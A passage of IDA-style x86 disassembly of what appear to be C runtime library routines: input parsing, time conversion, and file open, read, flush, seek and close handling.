sub_418BBD+89Cj lea edi, [edi+edi*4] shl edi, 1 jmp short loc_4194A4 ; --------------------------------------------------------------------------- loc_41946C: ; CODE XREF: sub_418BBD+86Ej ; sub_418BBD+873j cmp dword_4379BC, 1 jle short loc_419484 push 80h push ebx call sub_41686F pop ecx pop ecx jmp short loc_419491 ; --------------------------------------------------------------------------- loc_419484: ; CODE XREF: sub_418BBD+8B6j mov eax, off_4377B0 mov al, [eax+ebx*2] and eax, 80h loc_419491: ; CODE XREF: sub_418BBD+8C5j test eax, eax jz short loc_4194CC push ebx shl edi, 4 call sub_4195E2 mov ebx, eax pop ecx mov [ebp+var_14], ebx loc_4194A4: ; CODE XREF: sub_418BBD+8A6j ; sub_418BBD+8ADj inc [ebp+var_1C] cmp [ebp+var_20], 0 lea edi, [edi+ebx-30h] jz short loc_4194B6 dec [ebp+var_C] jz short loc_4194DA loc_4194B6: ; CODE XREF: sub_418BBD+8F2j push [ebp+arg_0] inc [ebp+var_4] call sub_419619 mov ebx, eax pop ecx mov [ebp+var_14], ebx jmp loc_419428 ; --------------------------------------------------------------------------- loc_4194CC: ; CODE XREF: sub_418BBD+897j ; sub_418BBD+8A1j ... push [ebp+arg_0] dec [ebp+var_4] push ebx call sub_419633 pop ecx pop ecx loc_4194DA: ; CODE XREF: sub_418BBD+865j ; sub_418BBD+8F7j cmp [ebp+var_17], 0 jz short loc_4194E2 neg edi loc_4194E2: ; CODE XREF: sub_418BBD+843j ; sub_418BBD+85Cj ... cmp esi, 46h jnz short loc_4194EB and [ebp+var_1C], 0 loc_4194EB: ; CODE XREF: sub_418BBD+928j cmp [ebp+var_1C], 0 jz loc_4195C3 cmp [ebp+var_E], 0 jnz short loc_419524 inc [ebp+var_34] loc_4194FE: ; CODE XREF: sub_418BBD+23Bj cmp [ebp+var_30], 0 jz short loc_419514 mov eax, [ebp+var_2C] mov ecx, [ebp+var_28] mov [eax], ecx mov ecx, [ebp+var_24] mov [eax+4], ecx jmp short loc_419524 ; --------------------------------------------------------------------------- loc_419514: ; CODE XREF: sub_418BBD+945j cmp [ebp+var_D], 0 mov eax, [ebp+var_2C] jz short loc_419521 mov [eax], edi jmp short loc_419524 ; --------------------------------------------------------------------------- loc_419521: ; CODE XREF: sub_418BBD+95Ej mov [eax], di loc_419524: ; CODE XREF: sub_418BBD+241j ; sub_418BBD+414j ... inc [ebp+var_15] inc [ebp+arg_4] mov esi, [ebp+arg_4] jmp short loc_419571 ; --------------------------------------------------------------------------- loc_41952F: ; CODE XREF: sub_418BBD+93j inc [ebp+var_4] push edi call sub_419619 mov ebx, eax pop ecx movzx eax, byte ptr [esi] inc esi cmp eax, ebx mov [ebp+var_14], ebx mov [ebp+arg_4], esi jnz short loc_41959E mov ecx, off_4377B0 movzx eax, bl test byte ptr [ecx+eax*2+1], 80h jz short loc_419571 inc [ebp+var_4] push edi call sub_419619 pop ecx movzx ecx, byte ptr [esi] inc esi cmp ecx, eax mov [ebp+arg_4], esi jnz short loc_4195AC dec [ebp+var_4] loc_419571: ; CODE XREF: sub_418BBD+970j ; sub_418BBD+99Aj cmp [ebp+var_14], 0FFFFFFFFh jnz short loc_419587 cmp byte ptr [esi], 25h jnz short loc_4195C9 mov eax, [ebp+arg_4] cmp byte ptr [eax+1], 6Eh jnz short loc_4195C9 mov esi, eax loc_419587: ; CODE XREF: sub_418BBD+9B8j mov al, [esi] test al, al jnz loc_418BE7 jmp short loc_4195C3 ; --------------------------------------------------------------------------- loc_419593: ; CODE XREF: sub_418BBD+1F4j ; sub_418BBD+491j push [ebp+arg_0] dec [ebp+var_4] push [ebp+var_14] jmp short loc_4195A3 ; --------------------------------------------------------------------------- loc_41959E: ; CODE XREF: sub_418BBD+98Aj dec [ebp+var_4] push edi push ebx loc_4195A3: ; CODE XREF: sub_418BBD+9DFj call sub_419633 pop ecx pop ecx jmp short loc_4195C3 ; --------------------------------------------------------------------------- loc_4195AC: ; CODE XREF: sub_418BBD+9AFj dec [ebp+var_4] push edi push eax call sub_419633 dec [ebp+var_4] push edi push ebx call sub_419633 add esp, 10h loc_4195C3: ; CODE XREF: sub_418BBD+1Fj ; sub_418BBD+40Aj ... cmp [ebp+var_14], 0FFFFFFFFh jnz short loc_4195DA loc_4195C9: ; CODE XREF: sub_418BBD+9BDj ; sub_418BBD+9C6j mov eax, [ebp+var_34] test eax, eax jnz short loc_4195DD cmp [ebp+var_15], al jnz short loc_4195DD or eax, 0FFFFFFFFh jmp short loc_4195DD ; --------------------------------------------------------------------------- loc_4195DA: ; CODE XREF: sub_418BBD+A0Aj mov eax, [ebp+var_34] loc_4195DD: ; CODE XREF: sub_418BBD+A11j ; sub_418BBD+A16j ... pop edi pop esi pop ebx leave retn sub_418BBD endp ; =============== S U B R O U T I N E ======================================= sub_4195E2 proc near ; CODE XREF: sub_418BBD+7A3p ; sub_418BBD+8DCp arg_0 = dword ptr 4 cmp dword_4379BC, 1 push esi jle short loc_4195FC mov esi, [esp+4+arg_0] push 4 push esi call sub_41686F pop ecx pop ecx jmp short loc_41960B ; --------------------------------------------------------------------------- loc_4195FC: ; CODE XREF: sub_4195E2+8j mov esi, [esp+4+arg_0] mov eax, off_4377B0 mov al, [eax+esi*2] and eax, 4 loc_41960B: ; CODE XREF: sub_4195E2+18j test eax, eax jnz short loc_419615 and esi, 0FFFFFFDFh sub esi, 7 loc_419615: ; CODE XREF: sub_4195E2+2Bj mov eax, esi pop esi retn sub_4195E2 endp ; =============== S U B R O U T I N E ======================================= sub_419619 proc near ; CODE XREF: sub_418BBD+1E1p ; sub_418BBD+289p ... arg_0 = dword ptr 4 mov edx, [esp+arg_0] dec dword ptr [edx+4] js short loc_41962B mov ecx, [edx] movzx eax, byte ptr [ecx] inc ecx mov [edx], ecx retn ; --------------------------------------------------------------------------- loc_41962B: ; CODE XREF: sub_419619+7j push edx call sub_41991B pop ecx retn sub_419619 endp ; =============== S U B R O U T I N E ======================================= sub_419633 proc near ; CODE XREF: sub_418BBD+6Bp ; sub_418BBD+3FFp ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 cmp [esp+arg_0], 0FFFFFFFFh jz short locret_419649 push [esp+arg_4] push [esp+4+arg_0] call sub_41BF2F pop ecx pop ecx locret_419649: ; CODE XREF: sub_419633+5j retn sub_419633 endp ; =============== S U B R O U T I N E ======================================= sub_41964A proc near ; CODE XREF: sub_418BBD+63p ; sub_418BBD+1D3p arg_0 = dword ptr 4 arg_4 = dword ptr 8 push esi mov esi, [esp+4+arg_0] push edi loc_419650: ; CODE XREF: sub_41964A+1Dj push [esp+8+arg_4] inc dword ptr [esi] call sub_419619 mov edi, eax push edi call sub_41BEDE pop ecx test eax, eax pop ecx jnz short loc_419650 mov eax, edi pop edi pop esi retn sub_41964A endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41966E proc near ; CODE XREF: sub_414D55+C9p var_24 = byte ptr -24h var_1C = dword ptr -1Ch var_14 = dword ptr -14h var_10 = dword ptr -10h var_8 = dword ptr -8 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch arg_18 = dword ptr 20h push ebp mov ebp, esp sub esp, 24h push ebx mov ebx, [ebp+arg_0] sub ebx, 76Ch cmp ebx, 46h jl loc_41972A cmp ebx, 8Ah jg loc_41972A push esi push edi mov edi, [ebp+arg_4] mov esi, dword_438244[edi*4] add esi, [ebp+arg_8] test bl, 3 jnz short loc_4196AD cmp edi, 2 jle short loc_4196AD inc esi loc_4196AD: ; CODE XREF: sub_41966E+37j ; sub_41966E+3Cj call sub_41BF9D mov eax, ebx lea ecx, [ebx-1] imul eax, 16Dh sar ecx, 2 mov edx, esi mov [ebp+var_8], esi add edx, ecx mov [ebp+var_10], ebx add eax, edx mov edx, [ebp+arg_14] lea ecx, [eax+eax*2] mov eax, [ebp+arg_C] mov [ebp+var_1C], eax lea ecx, [eax+ecx*8] imul ecx, 3Ch add ecx, [ebp+arg_10] imul ecx, 3Ch add ecx, dword_438160 dec edi cmp [ebp+arg_18], 1 mov [ebp+var_14], edi pop edi pop esi lea ecx, [ecx+edx+7C558180h] mov [ebp+arg_0], ecx jz short loc_419720 cmp [ebp+arg_18], 0FFFFFFFFh jnz short loc_419726 cmp dword_438164, 0 jz short loc_419726 lea eax, [ebp+var_24] push eax call sub_41C210 pop ecx mov ecx, [ebp+arg_0] test eax, eax jz short loc_419726 loc_419720: ; CODE XREF: sub_41966E+90j add ecx, dword_438168 loc_419726: ; CODE XREF: sub_41966E+96j ; sub_41966E+9Fj ... mov eax, ecx jmp short loc_41972D ; --------------------------------------------------------------------------- loc_41972A: ; CODE XREF: sub_41966E+13j ; sub_41966E+1Fj or eax, 0FFFFFFFFh loc_41972D: ; CODE XREF: sub_41966E+BAj pop ebx leave retn sub_41966E endp ; =============== S U B R O U T I N E ======================================= sub_419730 proc near ; CODE XREF: sub_414E31+2Ap ; sub_41C716+290p arg_0 = dword ptr 4 push ebx push ebp push esi push edi mov edi, [esp+10h+arg_0] cmp edi, dword_743640 jnb loc_4197CA mov eax, edi mov esi, edi sar eax, 5 and esi, 1Fh lea ebx, ds:743540h[eax*4] shl esi, 3 mov eax, [ebx] test byte ptr [eax+esi+4], 1 jz short loc_4197CA push edi call sub_41C682 cmp eax, 0FFFFFFFFh pop ecx jz short loc_4197A9 cmp edi, 1 jz short loc_419777 cmp edi, 2 jnz short loc_41978D loc_419777: ; CODE XREF: sub_419730+40j push 2 call sub_41C682 push 1 mov ebp, eax call sub_41C682 pop ecx cmp eax, ebp pop ecx jz short loc_4197A9 loc_41978D: ; CODE XREF: sub_419730+45j push edi call sub_41C682 pop ecx push eax call ds:dword_41F058 ; CloseHandle test eax, eax jnz short loc_4197A9 call ds:off_41F06C mov ebp, eax jmp short loc_4197AB ; --------------------------------------------------------------------------- loc_4197A9: ; CODE XREF: sub_419730+3Bj ; sub_419730+5Bj ... xor ebp, ebp loc_4197AB: ; CODE XREF: sub_419730+77j push edi call sub_41C608 mov eax, [ebx] pop ecx and byte ptr [eax+esi+4], 0 test ebp, ebp jz short loc_4197C6 push ebp call sub_41A82A pop ecx jmp short loc_4197DB ; --------------------------------------------------------------------------- loc_4197C6: ; CODE XREF: sub_419730+8Bj xor eax, eax jmp short loc_4197DE ; --------------------------------------------------------------------------- loc_4197CA: ; CODE XREF: sub_419730+Ej ; sub_419730+2Fj and dword_742230, 0 mov dword_74222C, 9 loc_4197DB: ; CODE XREF: sub_419730+94j or eax, 0FFFFFFFFh loc_4197DE: ; CODE XREF: sub_419730+98j pop edi pop esi pop ebp pop ebx retn sub_419730 endp ; =============== S U B R O U T I N E ======================================= sub_4197E3 proc near ; CODE XREF: sub_414E31+22p arg_0 = dword ptr 4 push esi mov esi, [esp+4+arg_0] mov eax, [esi+0Ch] test al, 83h jz short loc_41980C test al, 8 jz short loc_41980C push dword ptr [esi+8] call sub_413F7F and word ptr [esi+0Ch], 0FBF7h xor eax, eax pop ecx mov [esi], eax mov [esi+8], eax mov [esi+4], eax loc_41980C: ; CODE XREF: sub_4197E3+Aj ; sub_4197E3+Ej pop esi retn sub_4197E3 endp ; =============== S U B R O U T I N E ======================================= sub_41980E proc near ; CODE XREF: sub_4198AE+2Dp ; sub_4198AE+48p arg_0 = dword ptr 4 push esi mov esi, [esp+4+arg_0] test esi, esi jnz short loc_419820 push esi call sub_4198AE pop ecx pop esi retn ; --------------------------------------------------------------------------- loc_419820: ; CODE XREF: sub_41980E+7j push esi call sub_419849 test eax, eax pop ecx jz short loc_419830 or eax, 0FFFFFFFFh pop esi retn ; --------------------------------------------------------------------------- loc_419830: ; CODE XREF: sub_41980E+1Bj test byte ptr [esi+0Dh], 40h jz short loc_419845 push dword ptr [esi+10h] call sub_41C6BF neg eax pop ecx pop esi sbb eax, eax retn ; --------------------------------------------------------------------------- loc_419845: ; CODE XREF: sub_41980E+26j xor eax, eax pop esi retn sub_41980E endp ; =============== S U B R O U T I N E ======================================= sub_419849 proc near ; CODE XREF: sub_414E31+1Ap ; sub_41523E+37p ... arg_0 = dword ptr 4 push ebx push esi mov esi, [esp+8+arg_0] xor ebx, ebx push edi mov eax, [esi+0Ch] mov ecx, eax and ecx, 3 cmp cl, 2 jnz short loc_419896 test ax, 108h jz short loc_419896 mov eax, [esi+8] mov edi, [esi] sub edi, eax test edi, edi jle short loc_419896 push edi push eax push dword ptr [esi+10h] call sub_41A67D add esp, 0Ch cmp eax, edi jnz short loc_41988F mov eax, [esi+0Ch] test al, 80h jz short loc_419896 and al, 0FDh mov [esi+0Ch], eax jmp short loc_419896 ; --------------------------------------------------------------------------- loc_41988F: ; CODE XREF: sub_419849+36j or dword ptr [esi+0Ch], 20h or ebx, 0FFFFFFFFh loc_419896: ; CODE XREF: sub_419849+14j ; sub_419849+1Aj ... mov eax, [esi+8] and dword ptr [esi+4], 0 mov [esi], eax pop edi mov eax, ebx pop esi pop ebx retn sub_419849 endp ; =============== S U B R O U T I N E ======================================= sub_4198A5 proc near ; CODE XREF: sub_41B497p push 1 call sub_4198AE pop ecx retn sub_4198A5 endp ; =============== S U B R O U T I N E ======================================= sub_4198AE proc near ; CODE XREF: sub_41980E+Ap ; sub_4198A5+2p arg_0 = dword ptr 4 push ebx push esi push edi xor esi, esi xor ebx, ebx xor edi, edi cmp dword_743520, esi jle short loc_41990C loc_4198BF: ; CODE XREF: sub_4198AE+5Cj mov eax, dword_74251C mov eax, [eax+esi*4] test eax, eax jz short loc_419903 mov ecx, [eax+0Ch] test cl, 83h jz short loc_419903 cmp [esp+0Ch+arg_0], 1 jnz short loc_4198E9 push eax call sub_41980E cmp eax, 0FFFFFFFFh pop ecx jz short loc_419903 inc ebx jmp short loc_419903 ; --------------------------------------------------------------------------- loc_4198E9: ; CODE XREF: sub_4198AE+2Aj cmp [esp+0Ch+arg_0], 0 jnz short loc_419903 test cl, 2 jz short loc_419903 push eax call sub_41980E cmp eax, 0FFFFFFFFh pop ecx jnz short loc_419903 or edi, eax loc_419903: ; CODE XREF: sub_4198AE+1Bj ; sub_4198AE+23j ... inc esi cmp esi, dword_743520 jl short loc_4198BF loc_41990C: ; CODE XREF: sub_4198AE+Fj cmp [esp+0Ch+arg_0], 1 mov eax, ebx jz short loc_419917 mov eax, edi loc_419917: ; CODE XREF: sub_4198AE+65j pop edi pop esi pop ebx retn sub_4198AE endp ; =============== S U B R O U T I N E ======================================= sub_41991B proc near ; CODE XREF: sub_414E87+A9p ; sub_415D5E+2Dp ... arg_0 = dword ptr 4 push esi mov esi, [esp+4+arg_0] mov eax, [esi+0Ch] test al, 83h jz loc_4199EF test al, 40h jnz loc_4199EF test al, 2 jz short loc_419941 or al, 20h mov [esi+0Ch], eax jmp loc_4199EF ; --------------------------------------------------------------------------- loc_419941: ; CODE XREF: sub_41991B+1Aj or al, 1 test ax, 10Ch mov [esi+0Ch], eax jnz short loc_419955 push esi call sub_41B388 pop ecx jmp short loc_41995A ; --------------------------------------------------------------------------- loc_419955: ; CODE XREF: sub_41991B+2Fj mov eax, [esi+8] mov [esi], eax loc_41995A: ; CODE XREF: sub_41991B+38j push dword ptr [esi+18h] push dword ptr [esi+8] push dword ptr [esi+10h] call sub_4199F4 add esp, 0Ch mov [esi+4], eax test eax, eax jz short loc_4199DE cmp eax, 0FFFFFFFFh jz short loc_4199DE mov edx, [esi+0Ch] test dl, 82h jnz short loc_4199B3 mov ecx, [esi+10h] push edi cmp ecx, 0FFFFFFFFh jz short loc_41999C mov edi, ecx sar edi, 5 and ecx, 1Fh mov edi, dword_743540[edi*4] lea edi, [edi+ecx*8] jmp short loc_4199A1 ; --------------------------------------------------------------------------- loc_41999C: ; CODE XREF: sub_41991B+6Bj mov edi, offset dword_437E10 loc_4199A1: ; CODE XREF: sub_41991B+7Fj mov cl, [edi+4] pop edi and cl, 82h cmp cl, 82h jnz short loc_4199B3 or dh, 20h mov [esi+0Ch], edx loc_4199B3: ; CODE XREF: sub_41991B+62j ; sub_41991B+90j cmp dword ptr [esi+18h], 200h jnz short loc_4199D0 mov ecx, [esi+0Ch] test cl, 8 jz short loc_4199D0 test ch, 4 jnz short loc_4199D0 mov dword ptr [esi+18h], 1000h loc_4199D0: ; CODE XREF: sub_41991B+9Fj ; sub_41991B+A7j ... mov ecx, [esi] dec eax mov [esi+4], eax movzx eax, byte ptr [ecx] inc ecx mov [esi], ecx pop esi retn ; --------------------------------------------------------------------------- loc_4199DE: ; CODE XREF: sub_41991B+55j ; sub_41991B+5Aj neg eax sbb eax, eax and eax, 10h add eax, 10h or [esi+0Ch], eax and dword ptr [esi+4], 0 loc_4199EF: ; CODE XREF: sub_41991B+Aj ; sub_41991B+12j ... or eax, 0FFFFFFFFh pop esi retn sub_41991B endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4199F4 proc near ; CODE XREF: sub_414E87+90p ; sub_41991B+48p ... var_C = dword ptr -0Ch var_8 = dword ptr -8 var_1 = byte ptr -1 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 0Ch push ebx push esi mov esi, [ebp+arg_0] push edi cmp esi, dword_743640 jnb loc_419BD1 mov eax, esi and esi, 1Fh sar eax, 5 shl esi, 3 lea ebx, ds:743540h[eax*4] mov eax, dword_743540[eax*4] add eax, esi mov dl, [eax+4] test dl, 1 jz loc_419BD1 and [ebp+var_8], 0 mov edi, [ebp+arg_4] cmp [ebp+arg_8], 0 mov ecx, edi jz short loc_419AA9 test dl, 2 jnz short loc_419AA9 test dl, 48h jz short loc_419A69 mov al, [eax+5] cmp al, 0Ah jz short loc_419A69 dec [ebp+arg_8] mov [edi], al mov eax, [ebx] lea ecx, [edi+1] mov [ebp+var_8], 1 mov byte ptr [eax+esi+5], 0Ah loc_419A69: ; CODE XREF: sub_4199F4+56j ; sub_4199F4+5Dj lea eax, [ebp+var_C] push 0 push eax mov eax, [ebx] push [ebp+arg_8] push ecx push dword ptr [eax+esi] call ds:off_41F090 test eax, eax jnz short loc_419ABC call ds:off_41F06C push 5 pop ecx cmp eax, ecx jnz short loc_419AA4 mov dword_74222C, 9 mov dword_742230, ecx jmp loc_419BE2 ; --------------------------------------------------------------------------- loc_419AA4: ; CODE XREF: sub_4199F4+99j cmp eax, 6Dh jnz short loc_419AB0 loc_419AA9: ; CODE XREF: sub_4199F4+4Cj ; sub_4199F4+51j xor eax, eax jmp loc_419BE5 ; --------------------------------------------------------------------------- loc_419AB0: ; CODE XREF: sub_4199F4+B3j push eax call sub_41A82A pop ecx jmp loc_419BE2 ; --------------------------------------------------------------------------- loc_419ABC: ; CODE XREF: sub_4199F4+8Cj mov eax, [ebx] mov edx, [ebp+var_C] add [ebp+var_8], edx lea ecx, [eax+esi+4] mov al, [eax+esi+4] test al, 80h jz loc_419BCC test edx, edx jz short loc_419AE1 cmp byte ptr [edi], 0Ah jnz short loc_419AE1 or al, 4 jmp short loc_419AE3 ; --------------------------------------------------------------------------- loc_419AE1: ; CODE XREF: sub_4199F4+E2j ; sub_4199F4+E7j and al, 0FBh loc_419AE3: ; CODE XREF: sub_4199F4+EBj mov [ecx], al mov eax, [ebp+arg_4] mov ecx, [ebp+var_8] mov [ebp+arg_8], eax add ecx, eax cmp eax, ecx mov [ebp+var_8], ecx jnb loc_419BC6 loc_419AFB: ; CODE XREF: sub_4199F4+1BAj mov eax, [ebp+arg_8] mov al, [eax] cmp al, 1Ah jz loc_419BB6 cmp al, 0Dh jz short loc_419B17 mov [edi], al inc edi inc [ebp+arg_8] jmp loc_419BA8 ; --------------------------------------------------------------------------- loc_419B17: ; CODE XREF: sub_4199F4+116j dec ecx cmp [ebp+arg_8], ecx jnb short loc_419B35 mov eax, [ebp+arg_8] inc eax cmp byte ptr [eax], 0Ah jnz short loc_419B2C add [ebp+arg_8], 2 jmp short loc_419B8A ; --------------------------------------------------------------------------- loc_419B2C: ; CODE XREF: sub_4199F4+130j mov byte ptr [edi], 0Dh inc edi mov [ebp+arg_8], eax jmp short loc_419BA8 ; --------------------------------------------------------------------------- loc_419B35: ; CODE XREF: sub_4199F4+127j lea eax, [ebp+var_C] push 0 push eax inc [ebp+arg_8] lea eax, [ebp+var_1] push 1 push eax mov eax, [ebx] push dword ptr [eax+esi] call ds:off_41F090 test eax, eax jnz short loc_419B5D call ds:off_41F06C test eax, eax jnz short loc_419BA4 loc_419B5D: ; CODE XREF: sub_4199F4+15Dj cmp [ebp+var_C], 0 jz short loc_419BA4 mov eax, [ebx] test byte ptr [eax+esi+4], 48h jz short loc_419B7F mov al, [ebp+var_1] cmp al, 0Ah jz short loc_419B8A mov byte ptr [edi], 0Dh mov ecx, [ebx] inc edi mov [ecx+esi+5], al jmp short loc_419BA8 ; --------------------------------------------------------------------------- loc_419B7F: ; CODE XREF: sub_4199F4+176j cmp edi, [ebp+arg_4] jnz short loc_419B8F cmp [ebp+var_1], 0Ah jnz short loc_419B8F loc_419B8A: ; CODE XREF: sub_4199F4+136j ; sub_4199F4+17Dj mov byte ptr [edi], 0Ah jmp short loc_419BA7 ; --------------------------------------------------------------------------- loc_419B8F: ; CODE XREF: sub_4199F4+18Ej ; sub_4199F4+194j push 1 push 0FFFFFFFFh push [ebp+arg_0] call sub_419DD2 add esp, 0Ch cmp [ebp+var_1], 0Ah jz short loc_419BA8 loc_419BA4: ; CODE XREF: sub_4199F4+167j ; sub_4199F4+16Dj mov byte ptr [edi], 0Dh loc_419BA7: ; CODE XREF: sub_4199F4+199j inc edi loc_419BA8: ; CODE XREF: sub_4199F4+11Ej ; sub_4199F4+13Fj ... mov ecx, [ebp+var_8] cmp [ebp+arg_8], ecx jb loc_419AFB jmp short loc_419BC6 ; --------------------------------------------------------------------------- loc_419BB6: ; CODE XREF: sub_4199F4+10Ej mov eax, [ebx] lea esi, [eax+esi+4] mov al, [esi] test al, 40h jnz short loc_419BC6 or al, 2 mov [esi], al loc_419BC6: ; CODE XREF: sub_4199F4+101j ; sub_4199F4+1C0j ... sub edi, [ebp+arg_4] mov [ebp+var_8], edi loc_419BCC: ; CODE XREF: sub_4199F4+DAj mov eax, [ebp+var_8] jmp short loc_419BE5 ; --------------------------------------------------------------------------- loc_419BD1: ; CODE XREF: sub_4199F4+12j ; sub_4199F4+39j and dword_742230, 0 mov dword_74222C, 9 loc_419BE2: ; CODE XREF: sub_4199F4+ABj ; sub_4199F4+C3j or eax, 0FFFFFFFFh loc_419BE5: ; CODE XREF: sub_4199F4+B7j ; sub_4199F4+1DBj pop edi pop esi pop ebx leave retn sub_4199F4 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_419BEA proc near ; CODE XREF: sub_414F6F+17p var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp push ecx push ecx push ebx push esi mov esi, dword_7424EC push edi mov edi, [ebp+arg_4] xor ebx, ebx mov [ebp+var_8], ebx mov [ebp+var_4], ebx mov al, [edi] cmp al, 61h jz short loc_419C23 cmp al, 72h jz short loc_419C1C cmp al, 77h jnz loc_419D37 mov ecx, 301h jmp short loc_419C28 ; --------------------------------------------------------------------------- loc_419C1C: ; CODE XREF: sub_419BEA+21j xor ecx, ecx or esi, 1 jmp short loc_419C2B ; --------------------------------------------------------------------------- loc_419C23: ; CODE XREF: sub_419BEA+1Dj mov ecx, 109h loc_419C28: ; CODE XREF: sub_419BEA+30j or esi, 2 loc_419C2B: ; CODE XREF: sub_419BEA+37j push 1 pop edx loc_419C2E: ; CODE XREF: sub_419BEA+8Bj ; sub_419BEA+A0j ... mov al, [edi+1] inc edi cmp al, bl jz loc_419D1D cmp edx, ebx jz loc_419D1D movsx eax, al cmp eax, 54h jg short loc_419CBC jz short loc_419CAC sub eax, 2Bh jz short loc_419C96 sub eax, 19h jz short loc_419C8C sub eax, 0Eh jz short loc_419C77 dec eax jnz loc_419D0E cmp [ebp+var_4], ebx jnz loc_419D0E mov [ebp+var_4], 1 or ecx, 20h jmp short loc_419C2E ; --------------------------------------------------------------------------- loc_419C77: ; CODE XREF: sub_419BEA+6Fj cmp [ebp+var_4], ebx jnz loc_419D0E mov [ebp+var_4], 1 or ecx, 10h jmp short loc_419C2E ; --------------------------------------------------------------------------- loc_419C8C: ; CODE XREF: sub_419BEA+6Aj test cl, 40h jnz short loc_419D0E or ecx, 40h jmp short loc_419C2E ; --------------------------------------------------------------------------- loc_419C96: ; CODE XREF: sub_419BEA+65j test cl, 2 jnz short loc_419D0E and ecx, 0FFFFFFFEh and esi, 0FFFFFFFCh or ecx, 2 or esi, 80h jmp short loc_419C2E ; --------------------------------------------------------------------------- loc_419CAC: ; CODE XREF: sub_419BEA+60j mov eax, 1000h test ecx, eax jnz short loc_419D0E or ecx, eax jmp loc_419C2E ; --------------------------------------------------------------------------- loc_419CBC: ; CODE XREF: sub_419BEA+5Ej sub eax, 62h jz short loc_419D09 dec eax jz short loc_419CF2 sub eax, 0Bh jz short loc_419CDB sub eax, 6 jnz short loc_419D0E test ch, 0C0h jnz short loc_419D0E or ch, 40h jmp loc_419C2E ; --------------------------------------------------------------------------- loc_419CDB: ; CODE XREF: sub_419BEA+DDj cmp [ebp+var_8], ebx jnz short loc_419D0E mov [ebp+var_8], 1 and esi, 0FFFFBFFFh jmp loc_419C2E ; --------------------------------------------------------------------------- loc_419CF2: ; CODE XREF: sub_419BEA+D8j cmp [ebp+var_8], ebx jnz short loc_419D0E mov [ebp+var_8], 1 or esi, 4000h jmp loc_419C2E ; --------------------------------------------------------------------------- loc_419D09: ; CODE XREF: sub_419BEA+D5j test ch, 0C0h jz short loc_419D15 loc_419D0E: ; CODE XREF: sub_419BEA+72j ; sub_419BEA+7Bj ... xor edx, edx jmp loc_419C2E ; --------------------------------------------------------------------------- loc_419D15: ; CODE XREF: sub_419BEA+122j or ch, 80h jmp loc_419C2E ; --------------------------------------------------------------------------- loc_419D1D: ; CODE XREF: sub_419BEA+4Aj ; sub_419BEA+52j push 1A4h push [ebp+arg_8] push ecx push [ebp+arg_0] call sub_41C716 mov ecx, eax add esp, 10h cmp ecx, ebx jge short loc_419D3B loc_419D37: ; CODE XREF: sub_419BEA+25j xor eax, eax jmp short loc_419D55 ; --------------------------------------------------------------------------- loc_419D3B: ; CODE XREF: sub_419BEA+14Bj mov eax, [ebp+arg_C] inc dword_7423EC mov [eax+0Ch], esi mov [eax+4], ebx mov [eax], ebx mov [eax+8], ebx mov [eax+1Ch], ebx mov [eax+10h], ecx loc_419D55: ; CODE XREF: sub_419BEA+14Fj pop edi pop esi pop ebx leave retn sub_419BEA endp ; =============== S U B R O U T I N E ======================================= sub_419D5A proc near ; CODE XREF: sub_414F6Fp mov edx, dword_743520 push ebx push ebp push esi xor ebp, ebp xor esi, esi xor eax, eax cmp edx, ebp push edi jle short loc_419DCB mov ebx, dword_74251C mov edi, ebx loc_419D76: ; CODE XREF: sub_419D5A+2Ej mov ecx, [edi] cmp ecx, ebp jz short loc_419D91 test byte ptr [ecx+0Ch], 83h jz short loc_419D8C inc eax add edi, 4 cmp eax, edx jl short loc_419D76 jmp short loc_419DCB ; --------------------------------------------------------------------------- loc_419D8C: ; CODE XREF: sub_419D5A+26j mov esi, [ebx+eax*4] jmp short loc_419DB5 ; --------------------------------------------------------------------------- loc_419D91: ; CODE XREF: sub_419D5A+20j mov edi, eax push 20h shl edi, 2 call sub_413F0B pop ecx mov ecx, dword_74251C mov [edi+ecx], eax mov eax, dword_74251C mov edi, [edi+eax] cmp edi, ebp jz short loc_419DCB mov esi, edi loc_419DB5: ; CODE XREF: sub_419D5A+35j cmp esi, ebp jz short loc_419DCB or dword ptr [esi+10h], 0FFFFFFFFh mov [esi+4], ebp mov [esi+0Ch], ebp mov [esi+8], ebp mov [esi], ebp mov [esi+1Ch], ebp loc_419DCB: ; CODE XREF: sub_419D5A+12j ; sub_419D5A+30j ... mov eax, esi pop edi pop esi pop ebp pop ebx retn sub_419D5A endp ; =============== S U B R O U T I N E ======================================= sub_419DD2 proc near ; CODE XREF: sub_41523E+67p ; sub_415F50+CDp ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch mov eax, [esp+arg_0] push ebx cmp eax, dword_743640 push esi push edi jnb short loc_419E54 mov ecx, eax mov esi, eax sar ecx, 5 and esi, 1Fh lea edi, ds:743540h[ecx*4] shl esi, 3 mov ecx, [edi] test byte ptr [ecx+esi+4], 1 jz short loc_419E54 push eax call sub_41C682 cmp eax, 0FFFFFFFFh pop ecx jnz short loc_419E16 mov dword_74222C, 9 jmp short loc_419E65 ; --------------------------------------------------------------------------- loc_419E16: ; CODE XREF: sub_419DD2+36j push [esp+0Ch+arg_8] push 0 push [esp+14h+arg_4] push eax call ds:off_41F094 mov ebx, eax cmp ebx, 0FFFFFFFFh jnz short loc_419E36 call ds:off_41F06C jmp short loc_419E38 ; --------------------------------------------------------------------------- loc_419E36: ; CODE XREF: sub_419DD2+5Aj xor eax, eax loc_419E38: ; CODE XREF: sub_419DD2+62j test eax, eax jz short loc_419E45 push eax call sub_41A82A pop ecx jmp short loc_419E65 ; --------------------------------------------------------------------------- loc_419E45: ; CODE XREF: sub_419DD2+68j mov eax, [edi] and byte ptr [eax+esi+4], 0FDh lea eax, [eax+esi+4] mov eax, ebx jmp short loc_419E68 ; --------------------------------------------------------------------------- loc_419E54: ; CODE XREF: sub_419DD2+Dj ; sub_419DD2+2Aj and dword_742230, 0 mov dword_74222C, 9 loc_419E65: ; CODE XREF: sub_419DD2+42j ; sub_419DD2+71j or eax, 0FFFFFFFFh 